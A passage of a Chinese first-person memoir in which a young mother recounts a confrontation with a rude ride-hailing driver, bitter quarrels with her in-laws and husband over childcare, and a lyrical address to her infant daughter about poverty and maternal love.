我有点不高兴。因为这家医院距离我家有三十里路,相对来说是个大单,一般的司机都很客气。而且,司机到的快,就在我身后距离我不到两米的地方,我也就是环顾360度寻找对方的功夫,丝毫没有耽误。为什么他这么愤怒呢。车已经来到了,不上吧,有些耽误功夫。我们就上了车。 我抱着孩子坐在后排,老太太坐在副驾。 司机梳着大背头,戴着大金链子。他冲着老太太怒斥道:“安全带!” 老太太昏懦无能,面对司机的怒斥,老老实实地坐着,一声也不敢吭声。 我的火就上来了。我本来想,我抱着孩子出门在外不容易,忍忍,不要跟他发作了吧。可是,三十几里路的行程,忍着多么难受。大街上那么多的车,我打谁的不行?我本来是照顾他的生意,现在变成了花钱买罪受。我们是奴隶吗?他想跟我发脾气就跟我发脾气?我们是万难了,实在打不到车了吗?我要求着他看他的脸色受他的气? 我越想越气,眼看着车行了一小段路,我就跟司机说:“师傅,你对我们的态度太恶劣了。我们耽误你什么了?你竟然对我们呼来喝去啊?你这是欺负弱小啊!我们抱着孩子出门在外看病,容易吗?我们还要受你的气啊!”我说话的时候很激动,我故意带着点哭腔,愤怒里面夹杂着一点控诉的悲壮。 司机一开始看我们两个妇女抱着孩子,觉得我们没用,对我们不耐烦,他现在听到我生气地跟他理论,他可能没想到。他愣了一下,随即,他可能想到了车里的录音和监控。 他缓和了语气说:“我什么时候对你们不耐烦了?” 我说:“我转头找你的空儿,前后不到一分钟,你不耐烦地说,‘这里!’老太太上了车,你看她年老了,你跟她大喝,‘安全带!’你对我们态度太恶劣,太嚣张。你这是欺负我们弱小!” 我当时在气头上,说地比这愤怒比这痛快。司机还是一个比较有良心的人,他一开始不尊重我们,现在看到我生气了,反而没词儿了。 我说:“停车,我要下车!” 司机就在马路附近停下来了。我们下了车,我一看旁边,是医院附近的存仁堂。我们就在路边再次等车。 那个司机从副驾探头出来,指着他自己的脑袋跟我说:“你脑子有问题,该去医院看看。” 我心里想,你自己对我们态度恶劣,我反抗,你就说我脑子有问题啊。你自己脑子有问题,否则你为什么莫名其妙地对我们态度这么恶劣。我因为之前跟他生气发泄了一通,他出乎意料地没有跟我吵,我憋着的气也出了,这会儿也不生气了。我们就继续等车。 我既然出了气,我也不打算给他差评。他一开始对我态度不好,但是经我跟他吵闹指出来以后,他后来让着我了,出于这一点,他这个人说到底还是有底线的。毕竟大家都不容易,我何必给他差评,影响他生意呢。 我跟老太太说:“他对你态度太差了,‘安全带!’他这样跟你说话!哪有他这样的!”我虽然跟老太太关系并不融洽,但是司机对她这个态度我是无法忍受的。 老太太真的是个昏懦无能的。她用她那一贯低低的声音讪讪地笑着:“嗯嗯。” 我心里想,我为她出头,她说不定还要出去跟人家说,我到处跟人家吵架呢。她又要说她是多么淑女,多么纤声细气,我是多么粗野,多么泼妇吧。她的昏懦也是我不能敬佩她的原因。我觉得人要能屈能伸,遇到欺压也要据理力争,即使不去唇枪舌剑地炮轰对方,至少也有个愤怒不屈的脸色。可是老太太呢,在司机的呵斥面前,居然是一副老老实实服服帖帖懦弱无能的奴隶一样的脸色。这就是她平日标榜的老实人吗?这就是她平时自以为豪的不讲话吗?她平时冲着我的那些个乱七八糟莫名其妙的心眼儿也不少啊。何以在强权面前,她如此无能无声无气啊?这样的母亲怎么来为自己的孩子发声,这样的长辈真的遇到事情怎么来保护自己的后辈。 到家以后,我把孩子安顿一下,就赶紧赶回单位去忙工作。我的孩子生病,我除了忙完自己的事情请假,我没有耽误一点事,更没有辛苦任何人给我背锅。 5.横眉冷对千夫指,俯首甘为孺子牛 这些天,我又怕老太太冷,一直问她:“妈,你冷吗?你还要不要加被子?” 她说:“不要。” 我说:“我看着天气还不是太冷,我也一直盖着春秋被,就先不给你换了。” 她说:“好的。” 夜里,我听到老太太咳嗽。 我就问她:“妈,你要不要换被子?” 她说:“不要。” 我去把阳台上晒好的被子抱过来,放到她床头上。 我说:“你自己冷了就盖。我以前也跟你说过,四季的被子都在柜子里。我如果忙孩子顾不上,你冷了就自己换。” “好。”她答应着。 周五晚上,我下班回家,跟她说:“你回去休息一天吧。宝宝现在不高烧了,我自己带。” 周六,我自己抱着宝宝去医院挂水。 护士问我:“你怎么一个人抱着来了。给宝宝挂水要两个人的。” 我说:“她奶奶周六回去休息了。” 老太太回去了。我自己在家带孩子。看着头天放在老太太床上头的粉色的被子,我看老太太也不盖,就给她收了起来。其实,我觉得老太太很矫情,明明都咳嗽了,为什么不多盖被子呢。这是要不服老,跟我比比谁更血气方刚,有火力吗? 我对着床上放着的被子拍了一张照片。我本来还想把照片发给老头子看看,让他看看他家老太太有多矫情的。我想想,又算了。别打扰他了。这些日子,宝宝生病,他也没有过问过。不知道躲到哪个壳里去了。 晚上,我自己抱着宝宝坐在床上玩。 老头子打了电话来了,劈头就问我:“你妈妈回来挂水了,她冻地咳嗽了。你怎么给她盖薄被子的?” 我说:“谁给她盖的薄被子啊?我问她多少遍,要不要换被子,她都说不要换。我昨天才放的一床被子在她床上,她还是不盖!真是太矫情了!我看她不盖,我下午才收起来的。我手机里还拍了照片呢!我还以为她不服老,卯着劲儿要跟我比比谁更有火力呢!她自己不盖,自己把自己冻咳嗽了,就鼓着个龅牙说是我不给她盖厚被子的!我虐待她了!太气人了吧!她是不是脑子有问题啊!这不是把人活活给气死吗?” 老头子说:“你骂她干什么?你骂你自己父母吗?” 我说:“我就是骂她了,她就是个撒谎精,匹诺曹!儿媳妇给她被子她不盖,把自己冻地咳嗽,又跑来怪儿媳妇!你可以把她带过来,我们当面对质。有说无,无说有!猥琐至极!相由心生!” 老头子说:“你骂她,我不让她给你带孩子。” 我扯开嗓子跟他吼叫:“可以啊!你不让老太太带!那就让你儿子辞职带!你儿子不带,我就跟他离婚,我再找个老太太帮我带!一个个的!真本事没有,搞破坏的本事倒是比谁都厉害!” “我抱着你孙子天天跑医院呢,你不来看看你孙子吗?你亲孙子高烧不退,连着一个星期都在挂水,老太太没跟你说吗?你那时候怎么不跳出来啊!老太太光知道鼓着龅牙撒谎啊?你家老太太一撒谎你就跳出来了啊?” “你带过孙子吗?宝宝两岁了不会喊爷爷,你怎么一点都不愧疚的?你的本事就是对你孙子不管不问,还要危害你孙子啊。你真是天下第一有人性有本事的人啊?” “尊老爱幼。你跟你亲孙子有账吗?你做的什么榜样!” 今天,我是一口气把心里憋了很久的恶气撒出来了。我彻底跟老头子翻脸了。宝宝吓地大哭了起来。 不一会儿,端午打了电话:“你骂我妈妈?” 我说:“她撒谎精!我给她被子盖,她不盖,她自己矫情,出洋相!她冻着了,她还赖我。” 端午说:“妈的!你骂我妈妈。我妈给你带孩子就不错了。要不,你自己带孩子好了。” 我抱着孩子说:“孩子本来就没靠你们!孩子生病了,你们一个个都死光了!全靠我一个人!你家老龅牙一撒谎,你们就全跳出来了。医院里直立行走的带着孙子来看病的爷爷奶奶多了去了,就你家的老头子是四条腿儿的!连四条腿儿的都不如!你家的是空气,不存在!你家老太太不给我带孩子是吗?那我们就离婚!我再找个老太太给我带!我让我前婆婆给我带!” 他说:“你以后不要叽歪我家人,家庭和睦。” 我说:“别跟我提家庭!那是你的家庭,不是我的家庭!也不是宝宝的家庭!宝宝的衣食住行看病吃药,全是我一个人为她冲锋陷阵,那时候,可没有你们这些家人。” “我自己扛起这个大山。你们一个个做事难看,还怪我说话难听?都是你们欺负我们孤儿寡母。不是我欺负你们!” 端午说:“还想过吗?” 我说:“不想过了,早就不想过了。你本来就生不如死、形同虚设!” 端午说:“不想过拉倒。你以为我想跟你过。” 我说:“等哪天有空,我们就去离婚。” 端午说:“你这个人废话就是多。现在我还在加班,还要紧螺丝,没空跟你叽叽歪歪。我这边上班累地要死,我他妈挣钱不是为了给宝宝啊,你这个废话真多。我妈天天白天带小孩不辛苦啊,我爸是因为要还债,我结婚,欠了外面二十万要还。” 我说:“我们连婚纱照都没拍。办酒东躲西藏,就请了6桌。人家来喝喜酒都是要交钱的!你告诉我怎么欠的20万?你爸妈居然黑着心说你结婚欠了20万?这个锅我不背!我哪天跟老头子当面对质!你没脑子,你不要以为我跟你一样好糊弄!” “你爸妈自不量力,非要开公司,欠了一屁股债,拆东墙补西墙。不是因为拆迁,儿子连一套房子都没有。你敢不敢让你爸爸跟我当面对质,我们结婚花的连十万都没有。没本事给儿子挣家业,倒是有本事给儿子欠了一屁股债!给儿子欠了一屁股债,还厚着脸黑着心,把自己没脑子开公司欠的债都说成给儿子结婚欠的。” 端午说:“他什么时候给我欠了一笔债,他是自己买保险欠的债,他自己还,我又不还他的债。你能不能少说点呀,你这个鸟嘴就是特别能讲,我看你对外人又不讲,对自己家人就是整天就这么叽叽歪歪的。” 我说:“他之前不是说我们结婚欠了20万吗?要不是我指出来,我们根本没花那么多。你们三个还想昧着良心让我背锅呢。” 端午说:“我没空跟你吵,我这边还忙着呢。” 我说:“现在终于说实话了啊,之前不是黑着心,说是你结婚欠的吗?原来是自私自利给自己买保险欠的啊。两个儿子,一个孙子,他们都不管不顾,只顾着给自己买保险啊?他大儿子痴痴呆呆,孤家寡人,他们不管。他二儿子生病,孩子还小,他们也不管,只顾着借钱给自己买保险啊?没钱买什么保险?打肿脸充胖子!借着钱还得买保险啊?是不是卖保险的女人让你爸摸她的手了呀!你说你爸妈是不是很恶心。那么恶心,还非要装。装地自己特别有本事,他们有什么本事?给儿孙欠债的本事啊!” 端午说:“你这些话能不能少说点?” 我说:“我饿着肚子,我有功夫跟你吵。你爸是不是很恶心。黑着脸也黑着心。两个男女还天天装。装地哪门子蒜!” 端午的话,让我觉得,他根本没有想过我一个人请假带孩子看病奔波的辛苦,他只是一次次地不顾事实,让我忍受,让我压抑,让我乐呵呵地来苦我自己。他不仅看不到我的辛苦,他还坚定地站在他父母那一边。站在我的对立面。我再抱怨,他还可以出手打我,给他父母出气。而他打我,还可以美其名曰教训我这个“怨妇”“泼妇”,他一点都不顾我的辛苦。 那一刻,我感受到了我的无奈,我的势单力薄。我特别想离开他,并且,离开他,我保证肯定不会有多么痛苦。我也不觉得没有他,孩子会有多大的影响。我特别想离开他,特别想离开他们这个家,离开他们,离地远远的,看都不要再看他们一眼。 可是,我的孩子还没有长大,我离地开吗? 我悲哀地发现,一个结婚后有了孩子的女人是那么可悲。他们为了传宗接代,他们求爷爷告奶奶,连哄带骗,娶了你进家门。关键时刻,你是孤家寡人一个,只有你抱着孩子来跟他们横眉冷对。他们都可以拿孩子来威胁你。可是你不能放弃,因为真正爱孩子、疼孩子的只有你自己。 宝宝在我怀里躺着,接下来,怎么办。我跟老头子撕破脸皮了,老头子在懦弱无能的老太太和她们的傻儿子那里无比神圣伟大,这回,端午也是彻底不会理我了吧。我和孩子就这样彻底被他们全家抛弃了吧。 我就给我妈妈打电话。 “妈,你来帮我带孩子吧。我跟老头子撕破脸了。” 我妈妈说:“我自己身体也不好,我怎么给你带孩子啊。” 我哭着说:“妈,你就来给我带几天吧。” 我妈妈说:“恁弟弟还没结婚呢,我天天闷闷不乐地都要老年痴呆了,我哪有心情给你带孩子啊。” 我说:“妈妈,我有了孩子你不当回事儿。要是鸿雁结了婚有了孩子你就高兴了。” 我妈妈说:“那是的哦。要是哪天恁弟弟结婚了,我还不得一蹦起十八个蹦儿!俺自己什么时候能抱上孙子哎!” 我说:“妈,我不是你的小孩儿吗?我的孩子不是你的孙子吗?” 我妈妈说:“你的小孩儿是外孙,鸿雁的小孩是里孙。外孙是人家的小孩儿,就该人家带。要是鸿雁的小孩儿让我去带,我肯定喜极了。病也没有了,心情也好了。” 我说:“是的。我的孩子从出生到现在,你也没看过。要是俺弟弟的孩子,你坐飞机都得去。” 我又打电话问郝跃:“郝跃,宝宝多大可以进托儿所?” 郝跃说:“两岁就可以了。你要送她去托班?” 我说:“我跟我公公婆婆吵架了。我决定,如果他家不给我带孩子,我就跟端午离婚。他家除了有个老太太给我带孩子以外,对我没有任何价值!我能撑着熬着不跟端午离婚,就是为了孩子。” 郝跃说:“你家宝宝还小呢,送到托儿所,你舍得吗?” 我说:“我舍不得。可是,如果事情到了万不得已的地步,那我的孩子也只能受委屈。” 郝跃说:“在婆家,你永远是个外人。你跟他们一个人吵架,就等于把他们全家都给得罪了。” 我说:“是的,一个家庭,能够坚持到儿女结婚,还没有取缔。这个家早就成了根深蒂固的小王国了。他们几十年如一日地延续着他们的风俗和秩序。头脑清楚的主妇早就成了女王,一手遮天,颐指气使。头脑不清爽的,这个王国的子民也早就习惯了她的昏聩,习以为常了。” 郝跃说:“是的,人家一家子本来什么都好好地,你跑来说他们任何不是,那就是你的不是了。” 我说:“那是!就像红泥族的黑人习惯了用红泥巴染头发,唇盘族的女人嘴里要叼着盘子,亚马逊人用嚼过的木薯酿酒,他们对他们的任何陋习也都习惯了。” 郝跃说:“你作为一个外来人口,你要是有母国的大力支持,你还可以跟他们分庭抗礼。你现在孤家寡人,人家就可以拿孩子来威胁你。你的性格我是知道的,你是不会逆来顺受的。” 我说:“是的。光是我自己,我怕他们什么?可是每次他们拿不给带孩子来威胁我,我还真地害怕!怕孩子没人带受委屈。” 郝跃说:“没办法,我们为了孩子只能跟他们低头了。我身体不好,我因为带孩子就只能跟我婆婆忍气吞声的。你肯定忍不了。” 我说:“是的。我能吃苦,不能受气。凭什么让我忍气吞声?我吃他们的喝他们的了?还是我的孩子吃他们喝他们的了?你受你婆婆的气,那是因为你婆婆养着你们养着你孩子。我指望他们什么?他们没本事养儿子养孙子,倒是有本事给我受气?想得美!我凭什么受他们的气!不要说他们,就是你婆婆来给我气受,我也一样过不下去。” 郝跃说:“没办法,你不是有孩子吗?孩子就是你的软肋,就是人家钳制你的砝码。” 我说:“孩子?孩子是他们连哄带骗给了彩礼求着我来给他们家生的。他们要是事先说清楚不给我带孩子,我连看都不看他们一眼!人家多少公公婆婆拿着儿媳妇孙子跟个宝似的。儿媳妇光出个肚子就行了。偏我拼了命为他们家生孩子养孩子,孩子反倒成了他们拿捏我的把柄了?这是什么道理?我不会跟他们低头的,大不了就离婚!他们家人这么坏,也不配我为他家生二胎。我对他们家早就够够的了!我再找一个,生个二胎,蛮好的!” 没过多久,端午打来电话说:“我待会儿把我妈送回去。否则,明天你要上班,来不及。” 我跟怀里的宝宝说:“宝宝,好好睡觉觉,你爸爸马上来看你了。” 过了一会儿,敲门声响了起来。我知道端午送老太太回来了。我去开门。老太太和端午在门口。 老太太进来了。端午也要进来。 我知道他要回去,就说:“你进来干什么?”他看了看我,以为我真地发狠不让他进来。 我不说话,他才进来。他去厕所撒尿。 我问老太太说:“你是怎么回事啊?我昨天晚上才拿了被子给你盖的啊,你自己不盖啊。我今天下午才把被子收起来啊!” 老太太说:“你把新被子收起来干什么?你舍不得给我盖新被子,你收起来,你安的什么心?” 我说:“我的妈呀!还有天理吗?那条新被子是我怕你盖春秋被太热,花了四百块钱买的。我们养孩子经济那么紧张,我为了让你盖地舒服我还是去给你买的新被子。那个新被子已经给你盖了好几天了。给你盖十天,和给你盖半个月有什么区别。不是后来天气冷了,我才给你换的春秋被吗?再说了,我故意冻你干什么?你病了咳嗽、肺炎,我还怕你传染宝宝呢。你就是生病住院,对我们又有什么好处?我们要出钱出力,宝宝还没有人带。” 老太太不说话了。她摆摆手说:“不说了,不说了,一家子,有什么好说的。” 端午说:“行了行了,你屁话多的。我回去了。我明天还要上班。” 我说:“你慢一点。”我又赶紧去给老太太铺床,把下午才收起来的厚被子给老太太套上。 我说:“你冷了你说啊,我不是问你那么多回吗?被子都放在你房间,你自己动手换啊。” 老太太说:“好的,谢谢。”然后她就开始带宝宝,等我收拾好,就去她那儿把宝宝抱过来睡觉,这样刺激的一天就这样结束了。 第二天,我上午跟老太太带着孩子去医院,中午再风尘仆仆回来上班。 晚上,我跟老太太说:“你哄着宝宝睡觉吧,我要去给端午买冬天的鞋子和羽绒服。他冬天的衣服不够了。” 老太太说:“好的。” 第二天,我下班了,宝宝看到我,就喊:“爷爷。” 我很生气。我跟老太太说:“你不要硬教她喊爷爷来赌我的嘴。他不来看宝宝,拿我们无所谓,我们也拿他无所谓。宝宝喊‘妈妈’喊‘奶奶’,都是因为我们带她,为她付出了。她自然而然地会喊我们的。她爷爷没有带她,没有为她付出,她才不会叫的。你硬教她喊‘爷爷’干什么。” 端午回来了,宝宝在我怀里,看到了端午。 “爷爷!”她喊道。 我气不打一处来。我跟老太太说:“宝宝跟端午喊‘爷爷’呢。你听到了吗?爷爷跟奶奶是两口子!宝宝以前从来不知道喊爷爷,就这两天,出门见了别的老头都喊爷爷。满大街都是她爷爷。你不要觉得你硬教她就可以堵我的嘴了。我的孩子她会喊‘爷爷’,她不仅会喊‘爷爷’,还会喊驴,会喊猪。可是她不知道爷爷是个什么东西,有什么用!” 老太太还是嘴硬:“我没教她。” 我说:“你有说无无说有。你的话能相信吗?宝宝以前不会喊爷爷,她跟他见面不超过五回,根本不记得她有个爷爷。这几天,她动不动就喊爷爷,莫名其妙地就喊爷爷,不是你教的。是谁教的。” 端午说:“你天天就知道抱怨,少说一点!” 我说:“我抱怨什么了,我抱怨的是事实吗?宝宝快一岁了,你妈妈没给她买一丝布。宝宝两岁了不认识爷爷。宝宝这么大了,你连换尿不湿冲奶粉的业务都不熟。这些如果是事实,那就不叫抱怨。这叫事实。” “你妈妈为了抹黑我,总说我想要他们的钱。我们结婚的时候,你一个月的工资只有三千五,养活自己都不够。我是图你们家的钱吗?这不是钱的问题,这是你家对孩子有没有人味儿的问题。你妈妈能给宝宝扯二尺小花布,缝个小褂子,我不嫌弃,那是她有心了,那是宝宝得到奶奶的爱了。就算是动物,也能用皮毛给她的后代做件衣服吧,可是你妈有吗?” “你爸爸到南山挖个竹笋,送来给宝宝烧汤,我不嫌弃,那是爷爷的心意。你爸爸能去南山捉个鸟来,能去北湖钓条鱼来送给宝宝,我皆大欢喜,那是老人家一番心意。可他有吗?” 端午说:“你一点都不尊敬老人。尊老爱幼是传统美德。” 我说:“我刚到你家的时候没尊重你妈妈吗?我没敬着她顺着她吗?我哪次去你家吃饭是空着手的?我不是给她买时鲜的水果就是给她带老鹅。刚下来的樱桃、油桃,我没给她买吗?我连婚后第一次回娘家我都小心翼翼地请示她。可是你妈是怎么做的?她连娘家都不让我回了!她想拿捏我!我生孩子前她不管不问,我生孩子以后,她舍不得给我吃,还嫌我花钱多!是她把我气地产后抑郁没有奶的!是她害的我的孩子只能吃奶粉的!是她胡说八道,为老不尊的!十年看婆,十年看媳。你爸爸连看都不来看看宝宝,他跟他亲孙子都没有关系,我跟他有什么关系?他是谁家的老人?老人是靠德性来赢得别人的尊敬的,不是单纯地靠老来让人尊敬的。那些公交车上猥亵妇女儿童的老头子多了去了,那不叫老人,那叫老流氓,那叫坏人变老了。你爸爸不爱幼,不顾家,他跟他亲孙子都没账,我跟他有什么账?” 晚上,我带宝宝洗完澡,把她抱到她奶奶的小房间里。 “爷爷!”她又喊。 我说:“你不要喊爷爷。死老头子,恶心吧。” 我一想,我这样跟她生气,她也不当回事。那我就升级。怎么才能不让她硬教宝宝喊爷爷来气我呢。 我就跟宝宝说:“你喊爷爷是吗?你看见爷爷了是吗?爷爷是不是站在奶奶床头,舌头拉地长长的。爷爷的身边是不是有两个人,一个黑的,一个白的。那是黑白无常!阎王让他们勾着爷爷来看看你呢。阎王爷爷说,你不疼你孙子。我现在惩罚你去看看你孙子!宝宝不要害怕,妈妈找个道士,把老家伙封印起来。” 老太太很迷信,听着我的话,不吭声了。 这以后,宝宝再也不莫名其妙的喊爷爷了。 47. 雪 1.作为母亲,我常常愧疚 人生在世,为什么要生孩子呢。不同的人有不同的答案。对我来说,是自己的人生,除了谋生,还有点时间,还能撇下几个毛钱,这笔钱,这点时间,我想给我的孩子。只有给他,我才觉得不亏。否则我这辈子除了吃喝干什么去呢。去照顾一个男人吗?嗬!不值得。去侍弄花草吗?它没有人性,也不是属于我的生命。那就要个孩子吧。否则,我真的没有必要结婚的。 我要这个孩子不是为了养老送终。人生苦旅,要不是有父母兄妹的牵挂,要不是隐居、遁入空门这些事情不现实,总跟凡尘脱不了干系,我真的愿意一个人白头到老的。老了很孤独很难过?那何必要生个孩子来承受那些你能想象到的痛苦和难过。你蹬腿儿去了,你的孩子还在这个世上。如果你不能保证他能幸福美满,那你想没想过他以后的凄凉孤单。从这一方面来说,父母是自私的。 父母之生育,没有经过子女的同意。人之为人父母,把孩子生下来,就要为他付出全部,就有责任和义务保证他终生的幸福。子女是完全被动地被生下来了,他不知道自己的父母是深明大义还是一个地地道道的混蛋。有的孩子诞生在一个混蛋、王八蛋父或是母的手里,备受熬煎、磨难,那种舍此之外无枝可依的遭遇简直是人间炼狱。甚至有的婴孩一出生就被扔进垃圾桶里。这样的父母连畜生都不如。稚子何其无辜?稚子何其无助?父母者,人之天也。父母若不是东西,那稚子何处可去?那些可怜的、无辜的孩子! 而我,一个出身寒微、现如今也同样卑微的人,有这么一个可爱、可人的娇儿来到我的身边,肯做我的孩子,我该是多么感激!可爱的孩子,你是菩萨送给母亲的天使,来安抚妈妈这孤苦的、受尽折辱的灵魂,和那颗伤痕累累的心。 我的女儿,她肤如凝脂、手如柔荑,她比世界上最美丽最高贵的公主不差毫厘,可是因为你诞生在我的手里,你的母亲,这么平庸、这么寒微,才导致了你所有的待遇,比那些诞生在豪门的公主,有天地之别、云泥之分。你是妈妈的公主啊!你不比任何一个公主或是王子差啊!为何,你的吃穿用度跟那些公主、王子们有这么大的差距?人家豪门的闺女穿着几万的衣衫,可是妈妈,连淘宝上一二百的衣服都舍不得买给你。尿不湿,奶粉,都是有好有孬的,为什么,我的孩子,她这么可爱这么漂亮,她吃的穿的用的就不能跟别人一样。就因为她不会投胎,投到了我的身上。 不是孩子要攀比,是妈妈要攀比。不是妈妈要攀比,是妈妈扪心自问,你没有哪里不如别人,而你的吃穿用度,却要比别人差的很远。不是你不好,你非常好,你太好,你一点不比别人差,你差在了没有一个可以托举你的妈妈。是妈妈自己没本事,是妈妈对不起你。 难过,真的很难过。这难过,也不止为了自己的孩子,也是为了天底下那些生而可爱却不够被爱不够幸运的孩子。 你生而为人,你有冰清玉洁的骨肉,你有冰雪聪明的灵魂。你若生在富贵之家,定是众星捧月、千娇百媚,可是你不幸生在这样一个历尽坎坷的母亲的手里。你的母亲,没有什么能力给你那么大的托举。这才导致你的吃穿用度,跟人家有那么大的差距。这是你之不幸,是母亲无能。母亲既然没有什么能力把最好的给你,那就必须用我的终生来呵护你,来报答你的投生之恩。谢谢你,我的孩子。你是母亲这辈子最真切的暖,最无悔的心。谢谢你来呼唤我、来拥抱我,谢谢你那么需要我。如此离不开妈妈的人,除了你,这世上还有谁? 有了你以后,我才知道,去他妈的狗屁爱情。原来,这世上的情歌我都可以唱给你听,这春天的花朵我都想摘给你啊。你是妈妈上辈子最深情最真挚的爱人,你义无反顾地历经轮回、不惜来这庸俗的世上走一遭,只为找我来了。我该用什么来报答你对我这跨越生死之门的寻觅之恩?除了为你流尽我的血汗、为你拼搏到最后一息,我还能拿什么来报答你?等妈妈垂垂老矣濒临死亡的时候,你真的不用苦恼,我会躺在那儿,与你相视一笑。就像你刚刚诞生在妈妈的怀抱,你用隔世的眼光看我一眼,不再计较为了寻觅我而经历的苦难。到那个时候,我也会笑着看你一眼,告诉你,妈妈在天上等着你。等你老了,够了,妈妈就来接你。妈妈来接你,我们一起回去。妈妈只爱你。 妈妈既然没本事给你更好的,就不会再生一个二胎来剥夺妈妈那点微薄的爱。妈妈幼小时,姊妹三个,流离失所,饥寒交迫。妈妈的父母,顾得了这个,顾不了那个。以前,我觉得他们伟大。现在,我觉得他们愚蠢。妈妈此生,缺爱、自卑,没有一个温暖的家,没有一双只爱自己的爸妈。妈妈受过的苦,不会再让你来经历一次了。我必须把我所有的爱都献给你啊,我的公主。我必须这样才能对得起你啊,我的最爱的婴孩! 妈妈没有儿子,我的亲妹妹,你的阿姨嘴里,还时不时冒出来一句“儿子能够擎受家业”这样的沾沾自喜的狗屁来。不知道是出于封建思想的荼毒还是出于被公婆丈夫的压抑,她跟你的姥姥一样,她也是痴迷于“儿子就是根儿”这样的狗屁道理。她自己连生两个女儿,直到第三胎才生了一个视若珍宝的男孩儿。姊妹之间是会攀比的,她想到妈妈,也许会嘲笑妈妈没有儿子吧。妈妈无所谓,妈妈不想争这口无谓的气。随她去吧。跟她那两个形同丫鬟的女儿相比,你是妈妈唯一的闪闪发光的小公主。你是妈妈所生,你就是妈妈的珍宝。你是女儿,可是你在妈妈心里,比儿子还要重要。妈妈没有能力,妈妈不想生一个儿子来剥夺你该拥有的东西。妈妈绝对不会让你的生命里再来一个人,来冲淡你本该得到的那点本就微弱的父母之爱。 妈妈这一生也没有得到什么兄弟的保护,倒是得到了兄弟的威胁。如果没有兄妹,妈妈的这一生会更有爱更幸福,同样的,没有我,他们也是。对于一个本就没有什么养分的家庭来说,生,真的不如不生。妈妈衡量了一下,妈妈还是把那点微薄的养分全给你,你好好地生长,好好地享受圆满的爱,只有这样,才不枉你来这世间一遭啊。 如果你不孝,妈妈也没什么好遗憾的。你爸爸体弱多病,妈妈这辈子照顾他,也尽够了。即使是孤独终老,妈妈也没什么好后悔的。人生不就这么回事儿吗?同样的来处,是娘胎,同样的去处,是大地。看开了,也就想通了。妈妈这辈子把所有的爱给你就是最大的无憾了。至于一个人死地很孤单很难看?呵呵!人终有一死的。死去元知万事空。死则死矣,死去了即使得一个金棺材又有何意义? 妈妈热爱乡村,那些乡村的小老头,胡子拉碴,垂垂老矣,抱一捆玉米秸,用玉米皮引火,搞得满面烟火气,可看着这样的他烧一碗饭,喝一盅小酒,也是莫大的乐趣。在我心里,他不比那些同龄的大鳄、大佬差啊。是的,他们有什么不同呢?一样老朽的皮肉,一样的胡子邋遢,一样的糟老头子啦。人老了,不管你是绫罗绸缎,还是衣衫褴褛,在“糟”这件事情上,是一模一样的。人死了,不管是金缕玉衣,还是把骨灰洒向大地,那其实都是一样的结局。 妈妈其实什么事儿都想地通,剩下的唯一的事就是爱你了。妈妈也会烦躁,也会失去耐心,可是妈妈还是尽可能地惯着你。妈妈还是想把妈妈这辈子没有享受过的爱都给你。 我的小公主,我的万寿无疆的小公主,好好长大吧。相信母亲,她还有一个不屈的灵魂和一颗火热的、不甘的心。你的母亲,她不情愿永远卑微下去。你的母亲,为了她自己这辈子吃的苦受的委屈,她还想继续努力。你的母亲才刚刚四十岁,她还不是太老,她努力奋斗还来得及。你的母亲,她愿意用她的努力来奋力把你托举。 母亲相信,那些不能把母亲打死的打败的将来和过去,终将会成为母亲前进的动力。 妈妈有一副壮锦,想送给我的小公主,可是妈妈还没有绣完。妈妈必须在生活给妈妈更多的磨难之前把它绣完。我的小公主,妈妈必须抓紧时间,一针针一线线。 我的人生阴霾重重,那我就从阴霾的缝隙里绽放光芒。 你要生长,妈妈也急着生长。妈妈如果不生长,就不能给你的人生增添光亮。 让它们来吧,让它们一起!它们给母亲多大的打击,母亲就有多大的动力。 星期一,太阳照常升起,我还要去上班。 同事老方正跟人侃侃而谈:“我去上海看病,排不上号,光给黄牛就得□□千,否则,我得再等三个月才能开刀。可是我不能等了。我去上海看病,正常要坐几个小时高铁,再坐一个半小时地铁,到了上海,一天之内,根本排不上号。加个号要几百块钱。我不加号,住宿一晚也要几百块钱,那我还不如加号。加号立马就能看上。医院好像觉得去看病的都是上海人似的。” 老方的话让我茅塞顿开。我要给我的孩子所做的还有太多太多,何必跟这些冷漠的人计较呢。他们本来就没有本事,他们那一点真心即使给我的宝宝,他们又能给多少。漫说他们根本就不想给,他们想给都给不了。孩子需要的爱我又何必向他们去讨。就顺遂他们的心愿,让他们平平静静踏踏实实地把他们那一点本事好好揣在他们自己的兜里吧。眼下,我要好好地为了我的孩子奋斗,这才是真的。 他们真的很无能。无能到他们给不了我的孩子多少帮助。他们的无能注定了他们的自私。注定了他们只为他们自己打算。 端午有句话说地很对。只要我不闹,什么都是好的。是的,我不要闹了,闹了确实没有用。我最好假装什么都不知道,什么都很好。我闹了也没有用,闹了也没有多大的意义。我不就是想向他们冷漠的心求一些对孩子的真心吗?我不就是想让他们给我的孩子一些热情洋溢的爱吗?他们偏不给。那就算了吧。 凭良心而论,如果不是为了孩子,如果不是希望孩子的成长环境里有正常人家的爱,我稀罕他们吗?他们即使给我他们的热情,我稀罕吗?说真的,我不稀罕,一点都不稀罕。他们置身事外就置身事外吧。他们行将就木,我终将会远离他们的虚假与腐朽。唯有我的孩子,她虽然柔弱,却有远大的前程万里,眼下,我唯一要做的是壮大我自己,给我的孩子以更多的荫蔽,更强大的托举。 我在手机上看到一个小学生的作文: 妈妈说,等你长大了,我就和你爸分手了。这些年来,妈妈一直忍受着爸爸。我快出生时,我妈妈还去上班,我妈妈的羊水破了,叫爸爸带她去医院,爸爸不信,说:“我看你就是不想上班。” 后来我爸爸才带她去医院。我妈妈说:“你能打得过他时我就和你爸分手。 妈妈这一路走下来很不容易。 看了孩子的作文,我对这个孩子和他的妈妈很是惺惺相惜。我想,孩子说的没错,孩子妈妈说的也没错,我也是这么想的。 2.雪 我有些累,我像是一个木头榔头,哪里有需要,我就一头撞向哪里,或是,别人按着我的头,把我一头撞向那里。有时候,我觉得我没有那么坚强,我不仅不是金属榔头,我甚至觉得我是一个梨。可是,我早已身不由己,无人怜惜,我还是得被当做一个榔头给撞来撞去。 我被撞地头脑昏昏,心被撞出了裂痕,可是没有人来管这些,谁也来不及管这些。我自己也来不及管这些。大家都在忙着撞来撞去,忙着撞别人和撞自己。我也没有时间来修复我自己,复原我自己。每天还是本能地用我仅存的脑子,驮着我的□□,去撞来撞去。大家都是木头榔头。在别人的眼里,我就是一个榔头而已。 